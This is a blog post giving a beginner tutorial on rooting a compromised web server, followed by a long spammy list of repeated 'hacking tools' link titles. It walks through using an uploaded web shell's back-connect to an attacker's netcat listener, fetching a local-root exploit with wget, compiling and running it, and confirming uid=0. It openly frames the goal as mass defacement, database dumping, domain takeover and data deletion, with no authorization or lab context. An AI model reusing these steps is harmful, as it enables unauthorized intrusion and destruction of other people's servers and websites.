June 5, 2023

HOW TO ROOT A SERVER? – SERVER ROOTING

Servers serve the requests made by the users to the web pages, it acts as a helping hand who serves the requested meal for you. Here I am sharing how to root a server. Root is the Administrator of all server. If someone got root access to it, he can do anything with a server like delete and copy anything on the server, can deface all the websites (massive deface ).
We can't talk about root on windows. That enough for a beginner because if I talk about the root I need another book. So, I guess now we know the importance of root access and why we try to get root.

HOW TO ROOT A SERVER?

There are 3 ways to get ROOT on the server :
1 – With local Root.
2 – With SQL by reading the same important files on it root password.
3 – With exploit on software (Buffer Overflow).
In this post, we will explain local Root. I will explain the other ways soon in some other post.
OK, let's back to work.
After Uploading your shell on the server and getting the local root you will do a back connect and run the local root to Get root. This is a small idea of how it works in the next step you will see how to
find local root and run it to get root access.

HOW TO SEARCH LOCAL ROOT?

First of all we you need to know what version of Kernel.
You can know that from your shell, for example, this version is 2.6.18 – 2012
Go to EXECUTE on your shell and write  "uname -a". You will get the same result, by the way.
Now how to find the local root.
You can use various websites like Exploit-db, packetstormsecurity, vfocus, injector, etc who provides these local roots. One more thing to notice is, that there exist two types of local roots :
1. Local.C: which are not ready.
2. Local: ready to use.

HOW TO GET ROOT ACCESS?

First, you need a shell with a Back Connect option like this :
Enter your "Public IP Address" in SERVER, the port you want to connect on and leave it, Perl, this time, and Finally connect.
So now you must receive the back connect with a Tool named netcat u can download it from the
net. After that open your terminal if you are under Linux or CMD  if you are under Windows. I will explain only Linux, and for Windows, its all the same.
After that Follow the steps :
1- Press nc -vlp 433
2- Wget [the link of the local-Root.zip]
3 – unzip local-Root.zip

4 – chmod 777 local.c

5 – now to change the local-root from local.c > local
gcc local.c -o local Then you will find local.c transformed to local

6 – chmod 777 local

7 – ./local to local rootwork

8 – su
then see your id uid=0(root) gid=0(root) groups=0(root)


Getting UID=0 means, u had got root privileges and hence can do a variety of stuff on the remote server say Mass deface, dump database, redirect sites, change content, etc etc.
AFTER THE ROOT 
As server gets rooted, you're able to do the many things with it like I mentioned above. Such as, withdrawal of domains, massive deface and also deletion of the data completely.

Read more


  1. Hacking Tools For Windows
  2. Hacker Tools 2019
  3. Hack And Tools
  4. Hack Tool Apk
  5. Pentest Tools Framework
  6. Hacker Techniques Tools And Incident Handling
  7. Underground Hacker Sites
  8. Tools For Hacker
  9. What Are Hacking Tools
  10. Pentest Tools Website Vulnerability
  11. Pentest Tools Subdomain
  12. Hacker Tools For Windows
  13. Pentest Tools Open Source
  14. Hack Tools For Ubuntu
  15. Pentest Tools Review
  16. Hack Tools
  17. Hacking Tools 2020
  18. Hacking Tools For Mac
  19. Hacking Tools Online
  20. Hacking Tools Name
  21. Ethical Hacker Tools
  22. Hacker
  23. Hacking Tools Github
  24. Hak5 Tools
  25. Hacking Tools 2019
  26. Hacking Tools Name
  27. Pentest Tools Online
  28. What Are Hacking Tools
  29. Hacker Tools For Pc
  30. Hack Tools For Mac
  31. Blackhat Hacker Tools
  32. Hacking Tools For Pc
  33. How To Install Pentest Tools In Ubuntu
  34. Hacker Tools Hardware
  35. Hacker Tools For Mac
  36. Pentest Tools Github
  37. Hack Tools 2019
  38. Hacks And Tools
  39. Hack Tools For Windows
  40. Pentest Tools Github
  41. Pentest Automation Tools
  42. Hack Tools For Ubuntu
  43. Nsa Hack Tools Download
  44. Pentest Tools Windows
  45. Hack Tools Pc
  46. Black Hat Hacker Tools
  47. Pentest Tools Find Subdomains
  48. Hacks And Tools
  49. Hack Tools
  50. Hacker Tools 2019
  51. Pentest Tools Url Fuzzer
  52. Hack App
  53. Hack Tools For Games
  54. Hacking Tools For Games
  55. Pentest Tools Online
  56. Tools For Hacker
  57. Hack Tools Pc
  58. Growth Hacker Tools
  59. Hacking Tools For Windows
  60. Hacking Tools Hardware
  61. Github Hacking Tools
  62. Pentest Tools Open Source
  63. Hackrf Tools
  64. Wifi Hacker Tools For Windows
  65. Top Pentest Tools
  66. Hacker Tools List
  67. Hack Tools Github
  68. Hack Tools For Windows
  69. Hacking Tools Free Download
  70. What Is Hacking Tools
  71. Pentest Tools Url Fuzzer
  72. Pentest Tools Apk
  73. Hacker Tools For Ios
  74. Hacking Tools Online
  75. Nsa Hack Tools Download
  76. Hacker Tools Hardware
  77. Hacking Tools Windows 10
  78. Hacking Tools And Software
  79. Black Hat Hacker Tools
  80. How To Install Pentest Tools In Ubuntu
  81. Free Pentest Tools For Windows
  82. Hack Tools
  83. Growth Hacker Tools
  84. Hack Tools For Mac
  85. Blackhat Hacker Tools
  86. Hack Tools 2019
  87. Hack Tools Pc
  88. Pentest Tools List
  89. Hack App
  90. Hacking Tools For Windows Free Download
  91. Pentest Tools Tcp Port Scanner
  92. Hacker Tools Mac
  93. Hacks And Tools
  94. Pentest Tools Port Scanner
  95. Hack Tools For Pc
  96. Pentest Tools Kali Linux
  97. Hacking Tools For Mac
  98. Game Hacking
  99. Pentest Tools Github
  100. Hacker Tools Linux
  101. New Hacker Tools
  102. Pentest Tools Review
  103. Hacking Tools For Windows 7
  104. Pentest Tools Bluekeep
  105. Hacking Tools For Games
  106. Beginner Hacker Tools
  107. Bluetooth Hacking Tools Kali
  108. How To Hack
  109. New Hacker Tools
  110. Pentest Box Tools Download
  111. Black Hat Hacker Tools
  112. Pentest Tools Download
  113. Hacking Tools Windows 10
  114. Hacker Tools Online
  115. Pentest Tools Find Subdomains
  116. Termux Hacking Tools 2019
  117. Pentest Tools For Windows
  118. Hack Website Online Tool
  119. Hacker Tools For Pc
  120. Hacking Tools Kit

No comments:

Post a Comment